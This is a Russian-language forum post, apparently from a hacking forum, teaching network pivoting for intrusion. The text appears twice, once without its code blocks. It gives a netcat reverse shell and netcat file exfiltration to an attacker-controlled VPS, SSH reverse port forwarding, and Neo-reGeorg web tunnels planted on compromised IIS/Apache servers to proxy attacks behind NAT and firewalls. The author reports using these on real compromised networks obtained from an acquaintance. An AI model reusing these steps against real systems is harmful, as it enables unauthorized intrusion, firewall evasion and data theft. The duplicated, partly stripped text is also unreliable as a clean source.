Пожалуйста, обратите внимание, что пользователь заблокирован
Автор student / мой_телеграмм_канал
Источник: https://xss.pro
Всех приветствую на второй части моего топика по сетям. Я продолжил свое обучение, начать изучать pivoting. Без него никак
Так как я новичок (ник придумал не просто так), я могу допускать ошибки. Грамотная критика приветствуется, для этого и пишу статьи.
Pivoting
Что такое pivoting? Это получение доступа к локальным ресурсам. К примеру у нас работает на localhost:31337 панель для доступа к роутеру. А нам надо получить к ней доступ удаленно, не покупая белый адрес. Или еще один пример. Мы хотим просканировать AD на уязвимости, не будем же мы все утилиты kali linux тащить на сетку. Достаточно создать proxy tunnel, добавить настройки в proxychains и обращаться локально. И уже наши запросы будут лететь на сервер за NAT. Короче вся суть получить доступ за натом. Когда вы проникаете в сетку белых айпи там почти нет
Самое бесячее в этой теме - это понятие "клиент" и "сервер. На github часто путают понятия, также путается chatgpt поэтому первое время будет тяжело привыкнуть. Клиент - это тот, кто подключается - это комп за NAT. Сервер - это условно наш VPS, наш kali linux/сервер для атак и т.д. Стоит учитывать что не все утилиты будут работать через reverse proxy. Например nmap. Nmap, будучи сетевым сканером, обычно использует сырые сокеты и/или специализированные манипуляции с пакетами, которые недоступны при использовании сокс-прокси. SOCKS5 прокси передает потоковый трафик (используется в TCP), а не индивидуальные пакеты, и ряд уровней протокола, которые использует nmap для своего сканирования, требуют непосредственного обращения к таким пакетам. Некоторые базовые операции nmap могут работать через SOCKS5 при использовании опции -sT (TCP connect scanning), где nmap сканирует порты, устанавливая полное TCP соединения, что возможно при использовании прокси, но более продвинутые функции сканирования (например, TCP SYN scan) требуют прямого доступа к сети, и поэтому не будут работать через прокси. Вы можете поискать аналоги nmap на python и тогда все будет работать.
Сокеты - это способ, которым компьютеры общаются друг с другом через сеть. Когда вы заходите на веб-сайт или отправляете электронное письмо, ваш компьютер общается с другими серверами с использованием сокетов.
Представим такую ситуацию у нас есть 2 linux машины с установленным netcat. Обе машины находятся в разных сетях. Машина A - vps. Машина B - за NAT. Наша задача подключиться к машине за NAT и получить reverse shell. Выполним команду на сервере:
Выполним команду на клиенте:
Теперь мы можем выполнять команды на клиенте, который не имеет белого адреса.
Допустим у нас задача скачать файл с машины за NAT на VPS. Мы можем сделать это следующим образом
Создадим к примеру простой текстовый файл с запиской на машине за NAT.
Выполним следующую команду на сервере:
Выполним следующую команду на клиенте:
client:
server:
Простой пример pivoting`a #2 (проброс портов)
Допустим у нас есть собственный блог, который мы подняли на localhost (машина за NAT). Наша задача сделать его доступным для VPS.
Первое, что приходит в голову это заюзать ngrok. Да, эта с помощью этой утилиты можно локальные ресурсы сделать публичными. Но мы воспользуемся SSH port forwarding
Первое, что делаем - это редактируем файл /etc/ssh/sshd_config на сервере
Чтобы изменения вступили в силу перезагружаем ssh.
Выполним следующую команду на машине B (машина за NAT, где расположен наш блог)
Теперь мы можем делиться ресурсом с коллегами.
Пример pivoting`a #3 (reverse proxy получаем доступ за NAT)
Этот метод используется чаще всего у злоумышленников, которые работают в сетке. Чтобы не тащить все инструменты для скана/атаки на сетку, можно создать reverse proxy. То есть клиентом будет выступать сетка. Она подключится к нашей машине и будет в одной сети с нами. С локального адреса будут отправляться запросы на сетку. Часто такой метод блокируют брандмауэры, всегда имеет смысл попробовать несколько инструментов для создания reverse proxy.
Дальше нам надо сгенерировать туннели
В папке neoreg_servers и будут лежать туннели.
Перемещаем любой выбранный туннель в /var/www/html (на машине B, которая за NAT)
Поднимем apache server.
Если вы все правильно сделали, то вы при переходе по http://ip/tunnel.php вы увидите белую страничку
Убедитесь наверняка, что у клиента работает php/go/aspx/jsp. Для этого напишите простой код, который выводит информацию о версии установленного продукта. Вот пример для php:
Если все сделали правильно, то увидите информацию о php:
Настройка закончена. Теперь настроим наш сервер. Клонируем Гришу:
Подключаемся к клиенту
Проверим соединение
Меняем настройки конфига proxychains
sosks5 127.0.0.1 31339 и сохраняем.
Как видим айпишники различаются. Теперь мы можем обращаться от имени скомпрометированной машины. Если надо запустить утилиту прописывайте proxychains в начале. Если кто-то не понял, то tunnel ставим на скомпрометированную тачку, а neoreg.py запускаем на нашей тачке. Пример конечно не совсем удачный, т.к я использую 2 кали линукс и можно запутаться. Поэтому перейдем к реальному примеру.
Пример pivoting`a #4 (пример на настоящих сетках)
Васян подогнал мне сетки, чтобы статья получилась интересная. Поэтому приступим. У меня есть 2 сетки на одной стоит брандмауэр, а со второй все окей. Начнем с той где установлен брандмауэр. На сервере я запускаю прослушку порта 31555
На клиенте ввожу ip_vps 31555
И соединение не прилетает. Потому что нас заблокировал брандмауэр. Попробуем Neo-Georg
Для начала узнаем какой конкретно туннель будем ставить. Если речь про .aspx, то проверить можно так. Узнаем какие есть настроенные сайты в IIS
Узнаем установлен ли .NET framework.
Отлично! Значит мы можем использовать tunnel.aspx.
Туннель залился. Попробуем подключиться к нему.
Прекрасно) Брандмауэр обошли мы. Меняем настройки proxychains конфига
Пробую выполнить команду proxychains curl google.com и смотрю в логи Гриши
А вот мы убедились что firewall установлен. На другой сетке, где не было firewall`а у меня все получилось.
Если вам нравится мой контент, то можете подписаться на мой тгк, чтобы следить за обновлениями и получать полезный материал. Донаты принимаю
) Вот список, кто поддерживает битком:
ice80 - очень много
MAYC - 200$
PLG - 100$
admin
Источник: https://xss.pro
Всех приветствую на второй части моего топика по сетям. Я продолжил свое обучение, начать изучать pivoting. Без него никак
Pivoting
Что такое pivoting? Это получение доступа к локальным ресурсам. К примеру у нас работает на localhost:31337 панель для доступа к роутеру. А нам надо получить к ней доступ удаленно, не покупая белый адрес. Или еще один пример. Мы хотим просканировать AD на уязвимости, не будем же мы все утилиты kali linux тащить на сетку. Достаточно создать proxy tunnel, добавить настройки в proxychains и обращаться локально. И уже наши запросы будут лететь на сервер за NAT. Короче вся суть получить доступ за натом. Когда вы проникаете в сетку белых айпи там почти нет
Сокеты - это способ, которым компьютеры общаются друг с другом через сеть. Когда вы заходите на веб-сайт или отправляете электронное письмо, ваш компьютер общается с другими серверами с использованием сокетов.
- При использовании "обычных" сокетов, ваша операционная система (как Windows или Linux) обрабатывает множество деталей общения между компьютерами, это включает в себя настройку подключения, управление ошибками и ряд других сложных вещей.
- Сырые сокеты - это особый тип сокета, который позволяет вашему компьютеру пропустить многие из этих автоматических обработок и контролировать больше аспектов общения. Это немного похоже на вождение автомобиля с ручным управлением вместо автоматического: это сложнее, но дает вам больше контроля.
- Обход сетевых ограничений: С помощью пивотинга хакеры могут обойти сетевые ограничения и брандмауэры. Если прямое соединение с целевым компьютером не возможно из-за брандмауэра, хакер Вася может взломать другую машину, которая может соединяться с целью, и использовать это в качестве "промежуточного шага".
- Равномерное распределение сложности: Хакер Вася могут использовать пивотинг для проведения атак, которые иначе были бы сложными или невозможными. Например, если компьютер A имеет слабые безопасные меры, а компьютер B очень защищен, хакер может использовать компьютер A в качестве "плацдарма" для атаки на компьютер B. То есть если доступ к машине B можно получить только через машину A, то если мы скомпрометируем машину A, то уже сможем атаковать B.
- Сокрытие истинного источника: Пивотинг также может использоваться для скрытия истинного источника атаки. Вместо прямой атаки на цель с их собственного компьютера, хакер может взломать несколько других машин и использовать их в качестве "промежуточных станций", что затруднит поиск хакера Васи.
Представим такую ситуацию у нас есть 2 linux машины с установленным netcat. Обе машины находятся в разных сетях. Машина A - vps. Машина B - за NAT. Наша задача подключиться к машине за NAT и получить reverse shell. Выполним команду на сервере:
Bash:
nc -l -p 4444
Bash:
nc ip_vps 4444 -e /bin/bash
Теперь мы можем выполнять команды на клиенте, который не имеет белого адреса.
Допустим у нас задача скачать файл с машины за NAT на VPS. Мы можем сделать это следующим образом
Создадим к примеру простой текстовый файл с запиской на машине за NAT.
Выполним следующую команду на сервере:
Bash:
nc -l -p 1234 > received_file
Bash:
nc ip_vps 1234 < file.txt
server:
Простой пример pivoting`a #2 (проброс портов)
Допустим у нас есть собственный блог, который мы подняли на localhost (машина за NAT). Наша задача сделать его доступным для VPS.
Первое, что приходит в голову это заюзать ngrok. Да, эта с помощью этой утилиты можно локальные ресурсы сделать публичными. Но мы воспользуемся SSH port forwarding
Первое, что делаем - это редактируем файл /etc/ssh/sshd_config на сервере
Bash:
GatewayPorts yes
Bash:
sudo systemctl restart ssh
Bash:
ssh -R 31338:localhost:1313 root@ip_vps
Теперь мы можем делиться ресурсом с коллегами.
Пример pivoting`a #3 (reverse proxy получаем доступ за NAT)
Этот метод используется чаще всего у злоумышленников, которые работают в сетке. Чтобы не тащить все инструменты для скана/атаки на сетку, можно создать reverse proxy. То есть клиентом будет выступать сетка. Она подключится к нашей машине и будет в одной сети с нами. С локального адреса будут отправляться запросы на сетку. Часто такой метод блокируют брандмауэры, всегда имеет смысл попробовать несколько инструментов для создания reverse proxy.
Если вы покупали хоть раз proxy, то вам выдавали в формате ip:port socks5/socks4/http. Потому что это обычные прокси, то есть МЫ подключаемся. А вот обратные проще говоря - это когда к нам подключается машина и мы находимся в одной сети. И можем отправлять запросы через proxychains на localhost:port, которые далее отправятся клиенту. Существует множество инструментов, которые позволяют создать proxy tunnel. Вот некоторые из них:Создание иллюзии нахождения в одной сети. Хакер также может настроить обратный прокси так, чтобы казалось, что весь трафик исходит от кого-то внутри той же сети, что и цель. Это может быть полезно, например, при передаче злонамеренного трафика через прокси, маскируя его под обычный внутренний трафик.
- Chisel: Это быстрый TCP-туннель по HTTP, написанный на Go. Репозиторий GitHub находится здесь.
- ngrok: Это один из первых и самых известных инструментов для экспорта локального сервера в Интернет. Удобная функция ngrok - это интерактивный интерфейс в командной строке.
- Neo-Georg: Это веб-прокси-туннель, который туннелирует TCP-трафик через HTTP. Любое устройство, которое может запустить Python и имеет доступ к веб-серверу, может использовать Neo-Georg для получения обратного оболочного доступа через прокси или фильтрацию протокола HTTP. Репозиторий GitHub находится здесь.
- frp (Fast Reverse Proxy): Это высокопроизводительный, полнофункциональный прокси, который помогает в решении многих проблем с обходом NAT. Репозиторий GitHub находится здесь.
Bash:
git clone https://github.com/L-codes/Neo-reGeorg.git
Bash:
python neoreg.py generate -k введите_любой_пароль
Перемещаем любой выбранный туннель в /var/www/html (на машине B, которая за NAT)
Bash:
mv tunnel.php /var/www/html
Bash:
systemctl start apache2
Убедитесь наверняка, что у клиента работает php/go/aspx/jsp. Для этого напишите простой код, который выводит информацию о версии установленного продукта. Вот пример для php:
PHP:
<?php phpinfo(); ?>
Настройка закончена. Теперь настроим наш сервер. Клонируем Гришу:
Bash:
git clone https://github.com/L-codes/Neo-reGeorg.git
Bash:
python neoreg.py -vv -k такой_же_пароль -u http://ip/tunnel.php -p 31339
Проверим соединение
Bash:
netstat -tulnp
Меняем настройки конфига proxychains
Bash:
nano /etc/название_конфига
Bash:
proxychains -q -f /etc/название_конфига.conf
Как видим айпишники различаются. Теперь мы можем обращаться от имени скомпрометированной машины. Если надо запустить утилиту прописывайте proxychains в начале. Если кто-то не понял, то tunnel ставим на скомпрометированную тачку, а neoreg.py запускаем на нашей тачке. Пример конечно не совсем удачный, т.к я использую 2 кали линукс и можно запутаться. Поэтому перейдем к реальному примеру.
Пример pivoting`a #4 (пример на настоящих сетках)
Васян подогнал мне сетки, чтобы статья получилась интересная. Поэтому приступим. У меня есть 2 сетки на одной стоит брандмауэр, а со второй все окей. Начнем с той где установлен брандмауэр. На сервере я запускаю прослушку порта 31555
На клиенте ввожу ip_vps 31555
И соединение не прилетает. Потому что нас заблокировал брандмауэр. Попробуем Neo-Georg
Для начала узнаем какой конкретно туннель будем ставить. Если речь про .aspx, то проверить можно так. Узнаем какие есть настроенные сайты в IIS
Bash:
%windir%\System32\inetsrv\appcmd.exe list sites
Узнаем установлен ли .NET framework.
Bash:
dir %WINDIR%\Microsoft.Net\Framework\v*
Отлично! Значит мы можем использовать tunnel.aspx.
Туннель залился. Попробуем подключиться к нему.
Прекрасно) Брандмауэр обошли мы. Меняем настройки proxychains конфига
Пробую выполнить команду proxychains curl google.com и смотрю в логи Гриши
А вот мы убедились что firewall установлен. На другой сетке, где не было firewall`а у меня все получилось.
Если вам нравится мой контент, то можете подписаться на мой тгк, чтобы следить за обновлениями и получать полезный материал. Донаты принимаю
ice80 - очень много

MAYC - 200$
PLG - 100$
admin
Последнее редактирование: